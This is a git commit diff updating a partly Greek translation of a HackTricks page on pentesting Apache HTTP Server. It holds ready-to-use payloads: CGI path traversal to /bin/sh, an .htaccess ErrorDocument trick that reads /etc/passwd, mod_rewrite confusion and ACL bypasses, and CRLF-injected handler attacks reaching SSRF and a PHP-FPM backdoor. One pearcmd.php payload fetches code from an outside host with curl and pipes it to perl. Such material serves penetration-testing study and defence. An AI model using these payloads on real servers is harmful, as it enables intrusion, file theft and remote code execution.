Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

This commit is contained in:
Translator 2025-08-28 18:58:55 +00:00
parent 3ba1d18144
commit da0490f836
2 changed files with 427 additions and 385 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,7 +4,7 @@
## Εκτελέσιμες επεκτάσεις PHP
Ελέγξτε ποιες επεκτάσεις εκτελεί ο διακομιστής Apache. Για να τις αναζητήσετε, μπορείτε να εκτελέσετε:
Ελέγξτε ποιες επεκτάσεις PHP εκτελεί ο Apache. Για να τις αναζητήσετε μπορείτε να εκτελέσετε:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI μέσω .htaccess ErrorDocument file provider (ap_expr)
Αν μπορείτε να ελέγξετε το .htaccess ενός καταλόγου και το AllowOverride περιλαμβάνει FileInfo για αυτό το μονοπάτι, μπορείτε να μετατρέψετε τις 404 απαντήσεις σε αυθαίρετες τοπικές αναγνώσεις αρχείων χρησιμοποιώντας τη συνάρτηση ap_expr file() μέσα στο ErrorDocument.
- Απαιτήσεις:
- Apache 2.4 με ενεργοποιημένο parser εκφράσεων (ap_expr) (προεπιλογή στο 2.4).
- Ο vhost/dir πρέπει να επιτρέπει στο .htaccess να ορίσει το ErrorDocument (AllowOverride FileInfo).
- Ο Apache worker user πρέπει να έχει δικαιώματα ανάγνωσης στο αρχείο-στόχο.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Προκαλείται ζητώντας οποιοδήποτε μη υπάρχον μονοπάτι κάτω από αυτόν τον κατάλογο, για παράδειγμα όταν γίνεται κατάχρηση του userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes and tips:
- Μόνο οι απόλυτες διαδρομές λειτουργούν. Το περιεχόμενο επιστρέφεται ως το response body για τον 404 handler.
- Οι αποτελεσματικές άδειες ανάγνωσης είναι αυτές του χρήστη Apache (τυπικά www-data/apache). Δεν θα διαβάσετε /root/* ή /etc/shadow σε προεπιλεγμένες ρυθμίσεις.
- Ακόμα κι αν το .htaccess είναι root-owned, αν ο γονικός κατάλογος ανήκει σε tenant και επιτρέπει rename, μπορεί να καταφέρετε να μετονομάσετε το αρχικό .htaccess και να ανεβάσετε τη δική σας αντικατάσταση μέσω SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Χρησιμοποιήστε αυτό για να διαβάσετε τον πηγαίο κώδικα της εφαρμογής κάτω από DocumentRoot ή vhost config paths για να συλλέξετε μυστικά (DB creds, API keys, κ.λπ.).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Αυτοί οι τύποι επιθέσεων έχουν εισαχθεί και τεκμηριωθεί [**από την Orange σε αυτή την ανάρτηση του blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) και η παρακάτω είναι μια σύνοψη. Η επίθεση "σύγχυσης" βασικά εκμεταλλεύεται το πώς οι δεκάδες μονάδες που συνεργάζονται για να δημιουργήσουν έναν Apache δεν λειτουργούν τέλεια συγχρονισμένες και η τροποποίηση κάποιων από αυτές με απροσδόκητα δεδομένα μπορεί να προκαλέσει μια ευπάθεια σε μια επόμενη μονάδα.
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. Η επίθεση "confusion" καταχράται ουσιαστικά το γεγονός ότι οι δεκάδες modules που συνεργάζονται για να δημιουργήσουν ένα Apache δεν λειτουργούν τέλεια συγχρονισμένα, και το ότι μερικά από αυτά τροποποιούν απροσδόκητα δεδομένα μπορεί να προκαλέσει ευπάθεια σε μεταγενέστερο module.
### Filename Confusion
#### Truncation
Η **`mod_rewrite`** θα κόψει το περιεχόμενο του `r->filename` μετά τον χαρακτήρα `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Αυτό δεν είναι εντελώς λάθος καθώς οι περισσότερες μονάδες θα θεωρήσουν το `r->filename` ως URL. Αλλά σε άλλες περιπτώσεις αυτό θα θεωρηθεί ως διαδρομή αρχείου, κάτι που θα προκαλέσει πρόβλημα.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Αυτό δεν είναι εντελώς λάθος καθώς τα περισσότερα modules θα αντιμετωπίσουν το `r->filename` ως URL. Αλλά σε άλλες περιπτώσεις αυτό θα αντιμετωπιστεί ως διαδρομή αρχείου, γεγονός που μπορεί να προκαλέσει πρόβλημα.
- **Path Truncation**
Είναι δυνατόν να εκμεταλλευτεί κανείς το `mod_rewrite` όπως στο παρακάτω παράδειγμα κανόνα για να αποκτήσει πρόσβαση σε άλλα αρχεία μέσα στο σύστημα αρχείων, αφαιρώντας το τελευταίο μέρος της αναμενόμενης διαδρομής προσθέτοντας απλά ένα `?`:
Είναι δυνατόν να καταχραστείτε το `mod_rewrite` όπως στο παρακάτω παράδειγμα κανόνα για να αποκτήσετε πρόσβαση σε άλλα αρχεία στο σύστημα αρχείων, αφαιρώντας το τελευταίο μέρος της αναμενόμενης διαδρομής απλά προσθέτοντας ένα `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Παραπλανητική Ανάθεση RewriteFlag**
- **Mislead RewriteFlag Assignment**
Στον παρακάτω κανόνα επαναγραφής, όσο η διεύθυνση URL τελειώνει σε .php, θα αντιμετωπίζεται και θα εκτελείται ως php. Επομένως, είναι δυνατόν να σταλεί μια διεύθυνση URL που τελειώνει σε .php μετά τον χαρακτήρα `?` ενώ φορτώνεται στον δρόμο ένας διαφορετικός τύπος αρχείου (όπως μια εικόνα) με κακόβουλο php κώδικα μέσα σε αυτό:
Στον ακόλουθο rewrite rule, όσο το URL τελειώνει σε .php, θα αντιμετωπίζεται και θα εκτελείται ως php. Επομένως, είναι δυνατόν να στείλετε ένα URL που τελειώνει σε .php μετά τον χαρακτήρα `?`, ενώ στο path φορτώνετε έναν διαφορετικό τύπο αρχείου (όπως μια εικόνα) που περιέχει κακόβουλο κώδικα php:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
Είναι δυνατόν να αποκτήσετε πρόσβαση σε αρχεία που ο χρήστης δεν θα έπρεπε να έχει πρόσβαση, ακόμη και αν η πρόσβαση θα έπρεπε να απορριφθεί με ρυθμίσεις όπως:
Είναι δυνατόν να αποκτηθεί πρόσβαση σε αρχεία στα οποία ο χρήστης δεν θα έπρεπε να έχει πρόσβαση, ακόμη και αν η πρόσβαση θα έπρεπε να απορρίπτεται με ρυθμίσεις όπως:
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Αυτό συμβαίνει επειδή από προεπιλογή το PHP-FPM θα λαμβάνει διευθύνσεις URL που τελειώνουν σε `.php`, όπως `http://server/admin.php%3Fooo.php` και επειδή το PHP-FPM θα αφαιρεί οτιδήποτε μετά τον χαρακτήρα `?`, η προηγούμενη διεύθυνση URL θα επιτρέπει τη φόρτωση του `/admin.php` ακόμη και αν ο προηγούμενος κανόνας το απαγόρευε.
Αυτό συμβαίνει επειδή από προεπιλογή το PHP-FPM θα λαμβάνει URLs που τελειώνουν σε `.php`, όπως `http://server/admin.php%3Fooo.php` και επειδή το PHP-FPM θα αφαιρεί οτιδήποτε μετά τον χαρακτήρα `?`, το προηγούμενο URL θα επιτρέψει τη φόρτωση του `/admin.php` ακόμη και αν ο προηγούμενος κανόνας το απαγόρευε.
### DocumentRoot Confusion
### DocumentRoot Σύγχυση
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Ένα διασκεδαστικό γεγονός σχετικά με το Apache είναι ότι η προηγούμενη ανακατεύθυνση θα προσπαθήσει να αποκτήσει πρόσβαση στο αρχείο τόσο από το documentRoot όσο και από τη ρίζα. Έτσι, ένα αίτημα προς `https://server/abouth.html` θα ελέγξει για το αρχείο στο `/var/www/html/about.html` και `/about.html` στο σύστημα αρχείων. Αυτό μπορεί βασικά να καταχραστεί για να αποκτήσει πρόσβαση σε αρχεία στο σύστημα αρχείων.
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
#### **Αποκάλυψη Κώδικα Πηγής Από τον Διακομιστή**
#### **Server-Side Source Code Disclosure**
- **Αποκάλυψη Κώδικα Πηγής CGI**
- **Disclose CGI Source Code**
Απλά προσθέτοντας ένα %3F στο τέλος είναι αρκετό για να διαρρεύσει ο κώδικας πηγής ενός cgi module:
Απλώς προσθέτοντας %3F στο τέλος αρκεί για να leak τον source code ενός cgi module:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Αποκάλυψη Κώδικα Πηγαίου PHP**
- **Αποκάλυψη PHP Source Code**
Εάν ένας διακομιστής έχει διαφορετικά domains με ένα από αυτά να είναι στατικό domain, αυτό μπορεί να εκμεταλλευτεί για να διασχίσει το σύστημα αρχείων και να διαρρεύσει κώδικα php:
Εάν ένας server διαθέτει διαφορετικά domains και ένα από αυτά είναι static domain, αυτό μπορεί να χρησιμοποιηθεί καταχρηστικά για να περιηγηθεί στο file system και να leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Τοπική Manipulation Gadgets**
#### **Local Gadgets Manipulation**
Το κύριο πρόβλημα με την προηγούμενη επίθεση είναι ότι από προεπιλογή οι περισσότερες προσβάσεις στο σύστημα αρχείων θα απορρίπτονται όπως στην [προκαθορισμένη ρύθμιση](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) του Apache HTTP Server:
Το κύριο πρόβλημα με την προηγούμενη επίθεση είναι ότι, από προεπιλογή, οι περισσότερες προσβάσεις στο filesystem θα απορριφθούν όπως στο Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Ωστόσο, τα λειτουργικά συστήματα [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) επιτρέπουν από προεπιλογή το `/usr/share`:
Ωστόσο, τα [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) λειτουργικά συστήματα επιτρέπουν εξ ορισμού το `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Επομένως, θα ήταν δυνατό να **καταχραστούν αρχεία που βρίσκονται μέσα στο `/usr/share` σε αυτές τις διανομές.**
Επομένως, θα ήταν δυνατό να γίνει κατάχρηση των αρχείων που βρίσκονται στο `/usr/share` σε αυτές τις διανομές.
**Τοπική Συσκευή για Αποκάλυψη Πληροφοριών**
Local Gadget to Information Disclosure
- **Apache HTTP Server** με **websocketd** μπορεί να εκθέσει το σενάριο **dump-env.php** στο **/usr/share/doc/websocketd/examples/php/**, το οποίο μπορεί να αποκαλύψει ευαίσθητες μεταβλητές περιβάλλοντος.
- Διακομιστές με **Nginx** ή **Jetty** μπορεί να εκθέσουν ευαίσθητες πληροφορίες εφαρμογών ιστού (π.χ., **web.xml**) μέσω των προεπιλεγμένων ριζών ιστού τους που βρίσκονται κάτω από το **/usr/share**:
- **Apache HTTP Server** με **websocketd** μπορεί να εκθέσει το script **dump-env.php** στο **/usr/share/doc/websocketd/examples/php/**, το οποίο μπορεί να leak ευαίσθητες μεταβλητές περιβάλλοντος.
- Διακομιστές με **Nginx** ή **Jetty** ενδέχεται να εκθέσουν ευαίσθητες πληροφορίες web εφαρμογών (π.χ. **web.xml**) μέσω των προεπιλεγμένων web roots που τοποθετούνται κάτω από **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Τοπική Συσκευή για XSS**
Local Gadget to XSS
- Σε Ubuntu Desktop με **LibreOffice εγκατεστημένο**, η εκμετάλλευση της δυνατότητας αλλαγής γλώσσας των αρχείων βοήθειας μπορεί να οδηγήσει σε **Cross-Site Scripting (XSS)**. Η χειραγώγηση της διεύθυνσης URL στο **/usr/share/libreoffice/help/help.html** μπορεί να ανακατευθύνει σε κακόβουλες σελίδες ή παλαιότερες εκδόσεις μέσω **unsafe RewriteRule**.
- Σε Ubuntu Desktop με **LibreOffice εγκατεστημένο**, η εκμετάλλευση της λειτουργίας αλλαγής γλώσσας των αρχείων βοήθειας μπορεί να οδηγήσει σε **Cross-Site Scripting (XSS)**. Η χειραγώγηση του URL στο **/usr/share/libreoffice/help/help.html** μπορεί να ανακατευθύνει σε κακόβουλες σελίδες ή παλαιότερες εκδόσεις μέσω **unsafe RewriteRule**.
**Τοπική Συσκευή για LFI**
Local Gadget to LFI
- Εάν είναι εγκατεστημένα PHP ή ορισμένα πακέτα front-end όπως **JpGraph** ή **jQuery-jFeed**, τα αρχεία τους μπορούν να εκμεταλλευτούν για να διαβάσουν ευαίσθητα αρχεία όπως **/etc/passwd**:
- Εάν το PHP ή ορισμένα front-end πακέτα όπως **JpGraph** ή **jQuery-jFeed** είναι εγκατεστημένα, τα αρχεία τους μπορούν να εκμεταλλευτούν για να διαβαστούν ευαίσθητα αρχεία όπως **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Τοπική Συσκευή για SSRF**
Local Gadget to SSRF
- Χρησιμοποιώντας το **MagpieRSS's magpie_debug.php** στο **/usr/share/php/magpierss/scripts/magpie_debug.php**, μπορεί να δημιουργηθεί εύκολα μια ευπάθεια SSRF, παρέχοντας μια πύλη για περαιτέρω εκμεταλλεύσεις.
- Η χρήση του **magpie_debug.php** του **MagpieRSS** στο **/usr/share/php/magpierss/scripts/magpie_debug.php**, μπορεί να δημιουργήσει εύκολα μια ευπάθεια SSRF, παρέχοντας πύλη για περαιτέρω εκμεταλλεύσεις.
**Τοπική Συσκευή για RCE**
Local Gadget to RCE
- Οι ευκαιρίες για **Remote Code Execution (RCE)** είναι πολλές, με ευάλωτες εγκαταστάσεις όπως μια παρωχημένη **PHPUnit** ή **phpLiteAdmin**. Αυτές μπορούν να εκμεταλλευτούν για να εκτελέσουν αυθαίρετο κώδικα, επιδεικνύοντας την εκτενή δυνατότητα χειραγώγησης τοπικών συσκευών.
- Οι ευκαιρίες για **Remote Code Execution (RCE)** είναι πολλές, με ευάλωτες εγκαταστάσεις όπως ένα παρωχημένο **PHPUnit** ή **phpLiteAdmin**. Αυτές μπορούν να εκμεταλλευτούν για την εκτέλεση αυθαίρετου κώδικα, δείχνοντας το εκτεταμένο δυναμικό της χειραγώγησης local gadgets.
#### **Jailbreak από Τοπικές Συσκευές**
#### **Jailbreak from Local Gadgets**
Είναι επίσης δυνατό να γίνει jailbreak από τους επιτρεπόμενους φακέλους ακολουθώντας τους συμβολικούς συνδέσμους που δημιουργούνται από εγκατεστημένο λογισμικό σε αυτούς τους φακέλους, όπως:
Επίσης είναι δυνατό να jailbreak από τους επιτρεπόμενους φακέλους ακολουθώντας symlinks που δημιουργούνται από εγκατεστημένο λογισμικό σε αυτούς τους φακέλους, όπως:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,55 +186,55 @@ Require all granted
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Επιπλέον, με την καταχρηστική χρήση συμβολικών συνδέσμων ήταν δυνατό να αποκτηθεί **RCE στο Redmine.**
Επιπλέον, με την κατάχρηση symlinks ήταν δυνατό να επιτευχθεί **RCE σε Redmine.**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Αυτή η επίθεση εκμεταλλεύεται την επικάλυψη στη λειτουργικότητα μεταξύ των οδηγιών `AddHandler` και `AddType`, οι οποίες και οι δύο μπορούν να χρησιμοποιηθούν για να **ενεργοποιήσουν την επεξεργασία PHP**. Αρχικά, αυτές οι οδηγίες επηρεάζουν διαφορετικά πεδία (`r->handler` και `r->content_type` αντίστοιχα) στη εσωτερική δομή του διακομιστή. Ωστόσο, λόγω κωδικού κληρονομιάς, ο Apache χειρίζεται αυτές τις οδηγίες εναλλάξ υπό ορισμένες συνθήκες, μετατρέποντας το `r->content_type` σε `r->handler` εάν το πρώτο είναι ρυθμισμένο και το δεύτερο όχι.
Αυτή η επίθεση εκμεταλλεύεται την επικάλυψη στη λειτουργικότητα μεταξύ των οδηγιών `AddHandler` και `AddType`, οι οποίες και οι δύο μπορούν να χρησιμοποιηθούν για να ενεργοποιήσουν την επεξεργασία PHP. Αρχικά, αυτές οι οδηγίες επηρέαζαν διαφορετικά πεδία (`r->handler` και `r->content_type` αντίστοιχα) στη εσωτερική δομή του server. Ωστόσο, λόγω legacy κώδικα, ο Apache χειρίζεται αυτές τις οδηγίες εναλλασσόμενα υπό ορισμένες συνθήκες, μετατρέποντας το `r->content_type` σε `r->handler` αν το πρώτο είναι ορισμένο και το δεύτερο όχι.
Επιπλέον, στον Apache HTTP Server (`server/config.c#L420`), εάν το `r->handler` είναι κενό πριν εκτελέσει το `ap_run_handler()`, ο διακομιστής **χρησιμοποιεί το `r->content_type` ως handler**, καθιστώντας ουσιαστικά το `AddType` και το `AddHandler` ταυτόσημα σε αποτέλεσμα.
Επιπλέον, στον Apache HTTP Server (`server/config.c#L420`), αν το `r->handler` είναι κενό πριν την εκτέλεση του `ap_run_handler()`, ο server **χρησιμοποιεί το `r->content_type` ως handler**, κάνοντας ουσιαστικά το `AddType` και το `AddHandler` ίσα στην επίδραση.
#### **Επικαλύψτε τον Handler για να Αποκαλύψετε τον Κώδικα PHP**
#### **Overwrite Handler to Disclose PHP Source Code**
Σε [**αυτή την ομιλία**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), παρουσιάστηκε μια ευπάθεια όπου ένα λανθασμένο `Content-Length` που αποστέλλεται από έναν πελάτη μπορεί να προκαλέσει τον Apache να επιστρέψει κατά λάθος τον **κώδικα PHP**. Αυτό συνέβη λόγω ενός προβλήματος χειρισμού σφαλμάτων με το ModSecurity και το Apache Portable Runtime (APR), όπου μια διπλή απάντηση οδηγεί στην επικάλυψη του `r->content_type` σε `text/html`.\
Δεδομένου ότι το ModSecurity δεν χειρίζεται σωστά τις τιμές επιστροφής, θα επιστρέψει τον κώδικα PHP και δεν θα τον ερμηνεύσει.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), παρουσιάστηκε μια ευπάθεια όπου ένα λανθασμένο `Content-Length` που αποστέλλεται από έναν client μπορεί να κάνει τον Apache να **επιστρέψει τον PHP πηγαίο κώδικα**. Αυτό συνέβη λόγω ενός προβλήματος διαχείρισης σφαλμάτων με το ModSecurity και το Apache Portable Runtime (APR), όπου μια διπλή ανταπόκριση οδηγεί στην υπεργραφή του `r->content_type` σε `text/html`.\
Επειδή το ModSecurity δεν χειρίζεται σωστά τις επιστρεφόμενες τιμές, θα επέστρεφε τον PHP κώδικα και δεν θα τον ερμήνευε.
#### **Επικαλύψτε τον Handler για XXXX**
#### **Overwrite Handler to XXXX**
TODO: Το Orange δεν έχει αποκαλύψει αυτή την ευπάθεια ακόμη
TODO: Η Orange δεν έχει αποκαλύψει ακόμα αυτή την ευπάθεια
### **Εκτέλεση Αυθαίρετων Handlers**
### **Invoke Arbitrary Handlers**
Εάν ένας επιτιθέμενος είναι σε θέση να ελέγξει την κεφαλίδα **`Content-Type`** σε μια απάντηση διακομιστή, θα είναι σε θέση να **εκτελέσει αυθαίρετους χειριστές μονάδας**. Ωστόσο, μέχρι τη στιγμή που ο επιτιθέμενος ελέγχει αυτό, η πλειονότητα της διαδικασίας του αιτήματος θα έχει ολοκληρωθεί. Ωστόσο, είναι δυνατό να **επανεκκινήσει τη διαδικασία αιτήματος εκμεταλλευόμενος την κεφαλίδα `Location`** επειδή εάν η **r** επιστρεφόμενη `Status` είναι 200 και η κεφαλίδα `Location` ξεκινά με `/`, η απάντηση θεωρείται ως Server-Side Redirection και θα πρέπει να επεξεργαστεί.
Εάν ένας επιτιθέμενος καταφέρει να ελέγξει την κεφαλίδα **`Content-Type`** στην απάντηση του server, θα μπορεί να invoke arbitrary module handlers. Ωστόσο, μέχρι το σημείο που ο επιτιθέμενος ελέγχει αυτό, το μεγαλύτερο μέρος της επεξεργασίας του request θα έχει ήδη γίνει. Παρ' όλα αυτά, είναι δυνατό να **επαναεκκινήσει τη διαδικασία του request καταχρώμενος την κεφαλίδα `Location`** επειδή αν το **r**eturned `Status` είναι 200 και η κεφαλίδα `Location` ξεκινά με `/`, η απάντηση θεωρείται Server-Side Redirection και θα πρέπει να επεξεργαστεί
Σύμφωνα με το [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (προδιαγραφή σχετικά με CGI) στην [Ενότητα 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) ορίζεται μια συμπεριφορά Τοπικής Αντίστροφης Απόκρισης:
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> Το CGI σενάριο μπορεί να επιστρέψει μια διαδρομή URI και μια ερώτηση-συμβολοσειρά (local-pathquery) για έναν τοπικό πόρο σε ένα πεδίο κεφαλίδας Location. Αυτό υποδεικνύει στον διακομιστή ότι θα πρέπει να επεξεργαστεί ξανά το αίτημα χρησιμοποιώντας τη διαδρομή που καθορίζεται.
> Το CGI script μπορεί να επιστρέψει ένα URI path και query-string (local-pathquery) για έναν τοπικό πόρο σε ένα πεδίο κεφαλίδας Location. Αυτό υποδηλώνει στον server ότι θα πρέπει να επανεπεξεργαστεί το request χρησιμοποιώντας το καθορισμένο path.
Επομένως, για να εκτελέσετε αυτή την επίθεση απαιτείται μία από τις παρακάτω ευπάθειες:
Επομένως, για να εκτελεστεί αυτή η επίθεση χρειάζεται μία από τις παρακάτω ευπάθειες:
- CRLF Injection στις κεφαλίδες απόκρισης CGI
- SSRF με πλήρη έλεγχο των κεφαλίδων απόκρισης
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Αυθαίρετος Handler για Αποκάλυψη Πληροφοριών**
#### **Arbitrary Handler to Information Disclosure**
Για παράδειγμα, το `/server-status` θα πρέπει να είναι προσβάσιμο μόνο τοπικά:
For example `/server-status` should only be accessible locally:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Είναι δυνατόν να αποκτήσετε πρόσβαση ρυθμίζοντας το `Content-Type` σε `server-status` και την κεφαλίδα Location να ξεκινά με `/`
Είναι δυνατή η πρόσβαση σε αυτό ορίζοντας το `Content-Type` σε `server-status` και την κεφαλίδα Location να ξεκινά με `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Αυθαίρετος Χειριστής σε Πλήρη SSRF**
#### **Αυθαίρετος handler σε πλήρες SSRF**
Ανακατεύθυνση στο `mod_proxy` για πρόσβαση σε οποιοδήποτε πρωτόκολλο σε οποιοδήποτε URL:
Ανακατεύθυνση σε `mod_proxy` για πρόσβαση σε οποιοδήποτε πρωτόκολλο σε οποιοδήποτε URL:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Ωστόσο, η κεφαλίδα `X-Forwarded-For` προστίθεται αποτρέποντας την πρόσβαση σε σημεία τερματισμού μεταδεδομένων cloud.
Ωστόσο, η κεφαλίδα `X-Forwarded-For` προστίθεται, εμποδίζοντας την πρόσβαση σε cloud metadata endpoints.
#### **Αυθαίρετος Χειριστής για Πρόσβαση σε Τοπικό Unix Domain Socket**
#### **Arbitrary Handler για πρόσβαση στο τοπικό Unix Domain Socket**
Πρόσβαση στο τοπικό Unix Domain Socket του PHP-FPM για να εκτελέσετε ένα PHP backdoor που βρίσκεται στο `/tmp/`:
Πρόσβαση στο τοπικό Unix Domain Socket του PHP-FPM για την εκτέλεση ενός PHP backdoor που βρίσκεται στο `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Αυθαίρετος Χειριστής για RCE**
#### **Αυθαίρετος Handler σε RCE**
Η επίσημη [PHP Docker](https://hub.docker.com/_/php) εικόνα περιλαμβάνει το PEAR (`Pearcmd.php`), ένα εργαλείο διαχείρισης πακέτων PHP γραμμής εντολών, το οποίο μπορεί να καταχραστεί για να αποκτηθεί RCE:
Η επίσημη εικόνα [PHP Docker](https://hub.docker.com/_/php) περιλαμβάνει το PEAR (`Pearcmd.php`), ένα εργαλείο διαχείρισης πακέτων PHP μέσω γραμμής εντολών, το οποίο μπορεί να καταχραστεί για να επιτευχθεί RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Ελέγξτε το [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), γραμμένο από τον [Phith0n](https://x.com/phithon_xg) για τις λεπτομέρειες αυτής της τεχνικής.
Δείτε [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), που γράφτηκε από [Phith0n](https://x.com/phithon_xg) για τις λεπτομέρειες αυτής της τεχνικής.
## Αναφορές
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}